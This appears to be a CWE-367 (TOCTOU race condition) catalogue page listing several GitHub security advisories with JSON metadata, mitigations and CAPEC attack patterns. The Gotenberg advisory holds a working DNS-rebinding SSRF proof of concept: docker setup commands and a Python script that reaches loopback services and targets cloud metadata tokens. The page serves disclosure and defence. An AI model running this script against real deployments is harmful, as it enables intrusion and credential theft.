CWE-367
AllowedTime-of-check Time-of-use (TOCTOU) Race Condition
Abstraction: Base · Status: Incomplete
The product checks the state of a resource before using that resource, but the resource's state can change between the check and the use in a way that invalidates the results of the check.
1063 vulnerabilities reference this CWE, most recent first.
GHSA-2PF4-7467-2JM6
Vulnerability from github – Published: 2025-11-17 18:30 – Updated: 2025-11-17 18:30Kernel or driver software installed on a Guest VM may post improper commands to the GPU Firmware to exploit a TOCTOU race condition and trigger a read and/or write of data outside the allotted memory escaping the virtual machine.
{
"affected": [],
"aliases": [
"CVE-2025-58407"
],
"database_specific": {
"cwe_ids": [
"CWE-367"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-11-17T18:15:57Z",
"severity": "HIGH"
},
"details": "Kernel or driver software installed on a Guest VM may post improper commands to the GPU Firmware to exploit a TOCTOU race condition and trigger a read and/or write of data outside the allotted memory escaping the virtual machine.",
"id": "GHSA-2pf4-7467-2jm6",
"modified": "2025-11-17T18:30:32Z",
"published": "2025-11-17T18:30:32Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-58407"
},
{
"type": "WEB",
"url": "https://www.imaginationtech.com/gpu-driver-vulnerabilities"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-2PMR-289P-44R3
Vulnerability from github – Published: 2026-05-07 00:57 – Updated: 2026-06-08 20:10Summary
FilterOutboundURL resolves the hostname, checks the resolved IPs against the private-address deny-list, and returns only the error. It discards the resolved addresses. Chromium later performs its own DNS resolution when it navigates to the URL. An attacker who controls DNS for a hostname with a short TTL returns a public IP on the first query (Gotenberg allows) and a private IP on the second query (Chromium connects to the attacker-chosen internal address). The CDP Fetch.requestPaused handler re-checks the URL but runs its own DNS resolution, leaving a timing window before Chromium's actual TCP connect. The rendered internal service response returns to the caller as a PDF.
Details
pkg/gotenberg/outbound.go:227-230 drops the pinned IPs from the outbound decision:
func FilterOutboundURL(ctx context.Context, rawURL string, allowList, denyList []*regexp2.Regexp, deadline time.Time) error {
_, err := decideOutbound(ctx, rawURL, allowList, denyList, deadline)
return err
}
The Chromium convert path at pkg/modules/chromium/browser.go:341 calls FilterOutboundURL(ctx, url, b.arguments.allowList, b.arguments.denyList, deadline) and, on success, hands the raw URL string to Chromium via CDP. Chromium's network stack issues its own DNS lookup for the hostname, independent of Go's resolver.
The CDP Fetch.requestPaused listener at pkg/modules/chromium/events.go:55 runs a second check:
err := gotenberg.FilterOutboundURL(ctx, e.Request.URL, options.allowList, options.denyList, deadline)
This also calls decideOutbound, which again resolves DNS, checks, and returns only the error. After the handler calls fetch.ContinueRequest at line 101, Chromium proceeds to the actual TCP connect and resolves DNS one more time. Between the second check and the connect, the DNS answer can change.
The webhook and downloadFrom paths avoid this class by using gotenberg.NewOutboundHttpClient at pkg/gotenberg/outbound.go:269-280, which wires a secureDialContext that pins resolved IPs through dialPinned. The Chromium navigation path has no equivalent. The --chromium-host-resolver-rules flag at pkg/modules/chromium/chromium.go:446 defaults to empty, so no operator-provided mapping closes the gap in default deployments.
Proof of Concept
Reproduction uses a public DNS service that randomizes the response per query. rebind.<subdomain>.requestrepo.com resolves to <public-ip> or 127.0.0.1 with 50/50 probability per lookup. The attacker selects a subdomain and configures it to return <public-ip>%127.0.0.1.
Setup:
docker run -d --name gotenberg-poc -p 3000:3000 gotenberg/gotenberg:8
# Simulate an internal-only HTTP service that the default deny-list blocks.
docker exec gotenberg-poc sh -c \
'mkdir -p /tmp/rebind_srv && \
echo "<h1>INTERNAL-ONLY-REBIND-HIT</h1>" > /tmp/rebind_srv/index.html'
docker exec -d gotenberg-poc sh -c \
'cd /tmp/rebind_srv && python3 -m http.server 80 --bind 127.0.0.1'
Alice runs the attack without auth:
import requests, subprocess
T = "http://localhost:3000"
REBIND = "http://rebind.<subdomain>.requestrepo.com/"
MARKER = "INTERNAL-ONLY-REBIND-HIT"
hits = 0
for i in range(20):
r = requests.post(
f"{T}/forms/chromium/convert/url",
files={"url": (None, REBIND)},
timeout=30,
)
if r.status_code != 200:
continue
open("/tmp/_r.pdf", "wb").write(r.content)
txt = subprocess.run(
["pdftotext", "/tmp/_r.pdf", "-"],
capture_output=True, text=True,
).stdout
if MARKER in txt:
hits += 1
print(f"{hits}/20 rebind hits")
Observed output against gotenberg 8.31.0:
2/20 rebind hits
The marker renders in the attacker's PDF output. 127.0.0.1:80 serves that byte pattern only inside the container; the public IP the rebind service alternates with serves unrelated content. The attacker confirms the TCP connect reached loopback, not the public IP. Ten percent per-attempt success rate, trivially automated.
Impact
An unauthenticated caller reaches HTTP services bound to the Gotenberg container's loopback interface, cloud metadata endpoints at 169.254.169.254, and services on other private-network addresses. Gotenberg's deny-list blocks direct URL access to these ranges; DNS rebinding sidesteps the block. The rendered response returns as PDF output, letting the attacker read metadata tokens, internal admin interfaces, or sidecar service state depending on what the deployment runs on loopback. The attack requires controlling the DNS authority for one hostname, which is within an Internet attacker's normal capability. Each attempt succeeds about one time in ten; a handful of requests per target is enough.
Recommended Fix
Pin the resolved IP from Gotenberg's decideOutbound check all the way to Chromium's connect. Export the existing decideOutbound function as DecideOutbound, then use the returned pinned IP to rewrite the Chromium navigation URL inside the Fetch.requestPaused handler via fetch.ContinueRequest. Set the Host header to the original hostname so TLS and virtual-host routing still work:
decision, err := gotenberg.DecideOutbound(ctx, e.Request.URL, options.allowList, options.denyList, deadline)
if err != nil {
allow = false
} else if len(decision.Pinned) > 0 {
pinnedURL := rewriteHost(e.Request.URL, decision.Pinned[0].String())
req := fetch.ContinueRequest(e.RequestID).WithURL(pinnedURL).WithHeaders(...)
}
Alternative: pass --host-resolver-rules="MAP <hostname> <pinned-ip>" to Chromium when starting the per-request session, derived from the FilterOutboundURL resolution. This is the same mechanism the --chromium-host-resolver-rules flag already exposes to operators, just applied automatically per request.
Found by aisafe.io
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/gotenberg/gotenberg/v8"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "8.31.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-42592"
],
"database_specific": {
"cwe_ids": [
"CWE-367",
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-07T00:57:37Z",
"nvd_published_at": "2026-05-14T16:16:22Z",
"severity": "MODERATE"
},
"details": "## Summary\n\n`FilterOutboundURL` resolves the hostname, checks the resolved IPs against the private-address deny-list, and returns only the error. It discards the resolved addresses. Chromium later performs its own DNS resolution when it navigates to the URL. An attacker who controls DNS for a hostname with a short TTL returns a public IP on the first query (Gotenberg allows) and a private IP on the second query (Chromium connects to the attacker-chosen internal address). The CDP `Fetch.requestPaused` handler re-checks the URL but runs its own DNS resolution, leaving a timing window before Chromium\u0027s actual TCP connect. The rendered internal service response returns to the caller as a PDF.\n\n## Details\n\n`pkg/gotenberg/outbound.go:227-230` drops the pinned IPs from the outbound decision:\n\n```go\nfunc FilterOutboundURL(ctx context.Context, rawURL string, allowList, denyList []*regexp2.Regexp, deadline time.Time) error {\n _, err := decideOutbound(ctx, rawURL, allowList, denyList, deadline)\n return err\n}\n```\n\nThe Chromium convert path at `pkg/modules/chromium/browser.go:341` calls `FilterOutboundURL(ctx, url, b.arguments.allowList, b.arguments.denyList, deadline)` and, on success, hands the raw URL string to Chromium via CDP. Chromium\u0027s network stack issues its own DNS lookup for the hostname, independent of Go\u0027s resolver.\n\nThe CDP `Fetch.requestPaused` listener at `pkg/modules/chromium/events.go:55` runs a second check:\n\n```go\nerr := gotenberg.FilterOutboundURL(ctx, e.Request.URL, options.allowList, options.denyList, deadline)\n```\n\nThis also calls `decideOutbound`, which again resolves DNS, checks, and returns only the error. After the handler calls `fetch.ContinueRequest` at line 101, Chromium proceeds to the actual TCP connect and resolves DNS one more time. Between the second check and the connect, the DNS answer can change.\n\nThe webhook and downloadFrom paths avoid this class by using `gotenberg.NewOutboundHttpClient` at `pkg/gotenberg/outbound.go:269-280`, which wires a `secureDialContext` that pins resolved IPs through `dialPinned`. The Chromium navigation path has no equivalent. The `--chromium-host-resolver-rules` flag at `pkg/modules/chromium/chromium.go:446` defaults to empty, so no operator-provided mapping closes the gap in default deployments.\n\n## Proof of Concept\n\nReproduction uses a public DNS service that randomizes the response per query. `rebind.\u003csubdomain\u003e.requestrepo.com` resolves to `\u003cpublic-ip\u003e` or `127.0.0.1` with 50/50 probability per lookup. The attacker selects a subdomain and configures it to return `\u003cpublic-ip\u003e%127.0.0.1`.\n\nSetup:\n\n```bash\ndocker run -d --name gotenberg-poc -p 3000:3000 gotenberg/gotenberg:8\n\n# Simulate an internal-only HTTP service that the default deny-list blocks.\ndocker exec gotenberg-poc sh -c \\\n \u0027mkdir -p /tmp/rebind_srv \u0026\u0026 \\\n echo \"\u003ch1\u003eINTERNAL-ONLY-REBIND-HIT\u003c/h1\u003e\" \u003e /tmp/rebind_srv/index.html\u0027\ndocker exec -d gotenberg-poc sh -c \\\n \u0027cd /tmp/rebind_srv \u0026\u0026 python3 -m http.server 80 --bind 127.0.0.1\u0027\n```\n\nAlice runs the attack without auth:\n\n```python\nimport requests, subprocess\nT = \"http://localhost:3000\"\nREBIND = \"http://rebind.\u003csubdomain\u003e.requestrepo.com/\"\nMARKER = \"INTERNAL-ONLY-REBIND-HIT\"\n\nhits = 0\nfor i in range(20):\n r = requests.post(\n f\"{T}/forms/chromium/convert/url\",\n files={\"url\": (None, REBIND)},\n timeout=30,\n )\n if r.status_code != 200:\n continue\n open(\"/tmp/_r.pdf\", \"wb\").write(r.content)\n txt = subprocess.run(\n [\"pdftotext\", \"/tmp/_r.pdf\", \"-\"],\n capture_output=True, text=True,\n ).stdout\n if MARKER in txt:\n hits += 1\n\nprint(f\"{hits}/20 rebind hits\")\n```\n\nObserved output against gotenberg 8.31.0:\n\n```\n2/20 rebind hits\n```\n\nThe marker renders in the attacker\u0027s PDF output. `127.0.0.1:80` serves that byte pattern only inside the container; the public IP the rebind service alternates with serves unrelated content. The attacker confirms the TCP connect reached loopback, not the public IP. Ten percent per-attempt success rate, trivially automated.\n\n## Impact\n\nAn unauthenticated caller reaches HTTP services bound to the Gotenberg container\u0027s loopback interface, cloud metadata endpoints at `169.254.169.254`, and services on other private-network addresses. Gotenberg\u0027s deny-list blocks direct URL access to these ranges; DNS rebinding sidesteps the block. The rendered response returns as PDF output, letting the attacker read metadata tokens, internal admin interfaces, or sidecar service state depending on what the deployment runs on loopback. The attack requires controlling the DNS authority for one hostname, which is within an Internet attacker\u0027s normal capability. Each attempt succeeds about one time in ten; a handful of requests per target is enough.\n\n## Recommended Fix\n\nPin the resolved IP from Gotenberg\u0027s `decideOutbound` check all the way to Chromium\u0027s connect. Export the existing `decideOutbound` function as `DecideOutbound`, then use the returned pinned IP to rewrite the Chromium navigation URL inside the `Fetch.requestPaused` handler via `fetch.ContinueRequest`. Set the `Host` header to the original hostname so TLS and virtual-host routing still work:\n\n```go\ndecision, err := gotenberg.DecideOutbound(ctx, e.Request.URL, options.allowList, options.denyList, deadline)\nif err != nil {\n allow = false\n} else if len(decision.Pinned) \u003e 0 {\n pinnedURL := rewriteHost(e.Request.URL, decision.Pinned[0].String())\n req := fetch.ContinueRequest(e.RequestID).WithURL(pinnedURL).WithHeaders(...)\n}\n```\n\nAlternative: pass `--host-resolver-rules=\"MAP \u003chostname\u003e \u003cpinned-ip\u003e\"` to Chromium when starting the per-request session, derived from the `FilterOutboundURL` resolution. This is the same mechanism the `--chromium-host-resolver-rules` flag already exposes to operators, just applied automatically per request.\n\n---\n*Found by [aisafe.io](https://aisafe.io)*",
"id": "GHSA-2pmr-289p-44r3",
"modified": "2026-06-08T20:10:54Z",
"published": "2026-05-07T00:57:37Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/gotenberg/gotenberg/security/advisories/GHSA-2pmr-289p-44r3"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42592"
},
{
"type": "PACKAGE",
"url": "https://github.com/gotenberg/gotenberg"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Gotenberg\u0027s DNS rebinding bypasses SSRF validation on Chromium URL conversion routes"
}
GHSA-2Q3V-WWM5-C8HW
Vulnerability from github – Published: 2026-07-14 18:32 – Updated: 2026-07-14 18:32Time-of-check time-of-use (toctou) race condition in Microsoft Defender for Endpoint allows an authorized attacker to elevate privileges locally.
{
"affected": [],
"aliases": [
"CVE-2026-56178"
],
"database_specific": {
"cwe_ids": [
"CWE-367"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-14T18:18:23Z",
"severity": "MODERATE"
},
"details": "Time-of-check time-of-use (toctou) race condition in Microsoft Defender for Endpoint allows an authorized attacker to elevate privileges locally.",
"id": "GHSA-2q3v-wwm5-c8hw",
"modified": "2026-07-14T18:32:37Z",
"published": "2026-07-14T18:32:37Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-56178"
},
{
"type": "WEB",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56178"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-2Q3W-H8MM-Q9V3
Vulnerability from github – Published: 2022-05-05 00:29 – Updated: 2022-10-31 12:00shadow: TOCTOU (time-of-check time-of-use) race condition when copying and removing directory trees
{
"affected": [],
"aliases": [
"CVE-2013-4235"
],
"database_specific": {
"cwe_ids": [
"CWE-367"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-12-03T15:15:00Z",
"severity": "LOW"
},
"details": "shadow: TOCTOU (time-of-check time-of-use) race condition when copying and removing directory trees",
"id": "GHSA-2q3w-h8mm-q9v3",
"modified": "2022-10-31T12:00:23Z",
"published": "2022-05-05T00:29:07Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2013-4235"
},
{
"type": "WEB",
"url": "https://access.redhat.com/security/cve/cve-2013-4235"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2013-4235"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/rf9fa47ab66495c78bb4120b0754dd9531ca2ff0430f6685ac9b07772%40%3Cdev.mina.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/rf9fa47ab66495c78bb4120b0754dd9531ca2ff0430f6685ac9b07772@%3Cdev.mina.apache.org%3E"
},
{
"type": "WEB",
"url": "https://security-tracker.debian.org/tracker/CVE-2013-4235"
},
{
"type": "WEB",
"url": "https://security.gentoo.org/glsa/202210-26"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-2Q4H-H5JP-942W
Vulnerability from github – Published: 2022-05-24 17:41 – Updated: 2022-05-24 17:41Firejail before 0.9.64.4 allows attackers to bypass intended access restrictions because there is a TOCTOU race condition between a stat operation and an OverlayFS mount operation.
{
"affected": [],
"aliases": [
"CVE-2021-26910"
],
"database_specific": {
"cwe_ids": [
"CWE-367"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-02-08T20:15:00Z",
"severity": "HIGH"
},
"details": "Firejail before 0.9.64.4 allows attackers to bypass intended access restrictions because there is a TOCTOU race condition between a stat operation and an OverlayFS mount operation.",
"id": "GHSA-2q4h-h5jp-942w",
"modified": "2022-05-24T17:41:21Z",
"published": "2022-05-24T17:41:21Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-26910"
},
{
"type": "WEB",
"url": "https://github.com/netblue30/firejail/commit/97d8a03cad19501f017587cc4e47d8418273834b"
},
{
"type": "WEB",
"url": "https://github.com/netblue30/firejail/releases/tag/0.9.64.4"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2021/02/msg00015.html"
},
{
"type": "WEB",
"url": "https://security.gentoo.org/glsa/202105-19"
},
{
"type": "WEB",
"url": "https://unparalleled.eu/blog/2021/20210208-rigged-race-against-firejail-for-local-root"
},
{
"type": "WEB",
"url": "https://unparalleled.eu/publications/2021/advisory-unpar-2021-0.txt"
},
{
"type": "WEB",
"url": "https://www.debian.org/security/2021/dsa-4849"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2021/02/09/1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-2QPH-V9P2-Q2GV
Vulnerability from github – Published: 2024-07-17 09:30 – Updated: 2025-01-21 18:27Time-of-check Time-of-use (TOCTOU) Race Condition vulnerability in Apache StreamPipes in user self-registration. This allows an attacker to potentially request the creation of multiple accounts with the same email address until the email address is registered, creating many identical users and corrupting StreamPipe's user management. This issue affects Apache StreamPipes: through 0.93.0.
Users are recommended to upgrade to version 0.95.0, which fixes the issue.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.streampipes:streampipes-parent"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.95.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "streampipes"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.95.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-30471"
],
"database_specific": {
"cwe_ids": [
"CWE-367"
],
"github_reviewed": true,
"github_reviewed_at": "2024-07-18T20:16:26Z",
"nvd_published_at": "2024-07-17T09:15:02Z",
"severity": "MODERATE"
},
"details": "Time-of-check Time-of-use (TOCTOU) Race Condition vulnerability in Apache StreamPipes in user self-registration.\nThis allows an attacker to potentially request the creation of multiple accounts with the same email address until the email address is registered, creating many identical users and corrupting StreamPipe\u0027s user management.\nThis issue affects Apache StreamPipes: through 0.93.0.\n\nUsers are recommended to upgrade to version 0.95.0, which fixes the issue.\n\n",
"id": "GHSA-2qph-v9p2-q2gv",
"modified": "2025-01-21T18:27:42Z",
"published": "2024-07-17T09:30:49Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-30471"
},
{
"type": "PACKAGE",
"url": "https://github.com/apache/streampipes"
},
{
"type": "WEB",
"url": "https://github.com/apache/streampipes/releases/tag/release%2F0.95.0"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/streampipes/PYSEC-2024-172.yaml"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread/8yodrmohgcybq900or3d4hc1msl230fr"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2024/07/16/9"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Apache StreamPipes potentially allows creation of multiple identical accounts"
}
GHSA-2RV3-8J9R-CHW9
Vulnerability from github – Published: 2026-06-09 18:30 – Updated: 2026-06-09 18:30Time-of-check time-of-use (toctou) race condition in Microsoft Defender for Endpoint allows an authorized attacker to elevate privileges locally.
{
"affected": [],
"aliases": [
"CVE-2026-45647"
],
"database_specific": {
"cwe_ids": [
"CWE-367"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-06-09T17:17:31Z",
"severity": "MODERATE"
},
"details": "Time-of-check time-of-use (toctou) race condition in Microsoft Defender for Endpoint allows an authorized attacker to elevate privileges locally.",
"id": "GHSA-2rv3-8j9r-chw9",
"modified": "2026-06-09T18:30:53Z",
"published": "2026-06-09T18:30:53Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45647"
},
{
"type": "WEB",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45647"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-2V7H-6C67-V7P4
Vulnerability from github – Published: 2025-11-10 15:31 – Updated: 2025-11-10 15:31In JetBrains dotTrace before 2025.2.5 local privilege escalation possible via race condition
{
"affected": [],
"aliases": [
"CVE-2025-64457"
],
"database_specific": {
"cwe_ids": [
"CWE-362",
"CWE-367"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-11-10T14:15:43Z",
"severity": "MODERATE"
},
"details": "In JetBrains dotTrace before 2025.2.5 local privilege escalation possible via race condition",
"id": "GHSA-2v7h-6c67-v7p4",
"modified": "2025-11-10T15:31:04Z",
"published": "2025-11-10T15:31:04Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-64457"
},
{
"type": "WEB",
"url": "https://www.jetbrains.com/privacy-security/issues-fixed"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-2VHW-Q36Q-J3V5
Vulnerability from github – Published: 2023-09-11 15:31 – Updated: 2024-04-04 07:35BASupSrvcUpdater.exe in N-able Take Control Agent through 7.0.41.1141 before 7.0.43 has a TOCTOU Race Condition via a pseudo-symlink at %PROGRAMDATA%\GetSupportService_N-Central\PushUpdates, leading to arbitrary file deletion.
{
"affected": [],
"aliases": [
"CVE-2023-27470"
],
"database_specific": {
"cwe_ids": [
"CWE-367"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-09-11T15:15:52Z",
"severity": "HIGH"
},
"details": "BASupSrvcUpdater.exe in N-able Take Control Agent through 7.0.41.1141 before 7.0.43 has a TOCTOU Race Condition via a pseudo-symlink at %PROGRAMDATA%\\GetSupportService_N-Central\\PushUpdates, leading to arbitrary file deletion.",
"id": "GHSA-2vhw-q36q-j3v5",
"modified": "2024-04-04T07:35:25Z",
"published": "2023-09-11T15:31:01Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-27470"
},
{
"type": "WEB",
"url": "https://github.com/mandiant/Vulnerability-Disclosures/blob/master/2023/MNDT-2023-0011.md"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-2VW3-5R88-9C5P
Vulnerability from github – Published: 2026-05-15 03:30 – Updated: 2026-05-15 03:30A TOCTOU (Time-Of-Check to Time-Of-Use) in the graphics interface may allow an attacker to load registers repeatedly creating a race condition potentially leading to a loss of integrity.
{
"affected": [],
"aliases": [
"CVE-2022-23826"
],
"database_specific": {
"cwe_ids": [
"CWE-367"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-05-15T03:16:20Z",
"severity": "LOW"
},
"details": "A TOCTOU (Time-Of-Check to Time-Of-Use) in the graphics interface may allow an attacker to load registers repeatedly creating a race condition potentially leading to a loss of integrity.",
"id": "GHSA-2vw3-5r88-9c5p",
"modified": "2026-05-15T03:30:36Z",
"published": "2026-05-15T03:30:36Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-23826"
},
{
"type": "WEB",
"url": "https://www.amd.com/en/resources/product-security/bulletin/AMD-SB-4017.html"
},
{
"type": "WEB",
"url": "https://www.amd.com/en/resources/product-security/bulletin/AMD-SB-6027.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:L/AC:H/AT:N/PR:H/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
Mitigation
The most basic advice for TOCTOU vulnerabilities is to not perform a check before the use. This does not resolve the underlying issue of the execution of a function on a resource whose state and identity cannot be assured, but it does help to limit the false sense of security given by the check.
Mitigation
When the file being altered is owned by the current user and group, set the effective gid and uid to that of the current user and group when executing this statement.
Mitigation
Limit the interleaving of operations on files from multiple processes.
Mitigation
If you cannot perform operations atomically and you must share access to the resource between multiple processes or threads, then try to limit the amount of time (CPU cycles) between the check and use of the resource. This will not fix the problem, but it could make it more difficult for an attack to succeed.
Mitigation
Recheck the resource after the use call to verify that the action was taken appropriately.
Mitigation
Ensure that some environmental locking mechanism can be used to protect resources effectively.
Mitigation
Ensure that locking occurs before the check, as opposed to afterwards, such that the resource, as checked, is the same as it is when in use.
CAPEC-27: Leveraging Race Conditions via Symbolic Links
This attack leverages the use of symbolic links (Symlinks) in order to write to sensitive files. An attacker can create a Symlink link to a target file not otherwise accessible to them. When the privileged program tries to create a temporary file with the same name as the Symlink link, it will actually write to the target file pointed to by the attackers' Symlink link. If the attacker can insert malicious content in the temporary file they will be writing to the sensitive file by using the Symlink. The race occurs because the system checks if the temporary file exists, then creates the file. The attacker would typically create the Symlink during the interval between the check and the creation of the temporary file.
CAPEC-29: Leveraging Time-of-Check and Time-of-Use (TOCTOU) Race Conditions
This attack targets a race condition occurring between the time of check (state) for a resource and the time of use of a resource. A typical example is file access. The adversary can leverage a file access race condition by "running the race", meaning that they would modify the resource between the first time the target program accesses the file and the time the target program uses the file. During that period of time, the adversary could replace or modify the file, causing the application to behave unexpectedly.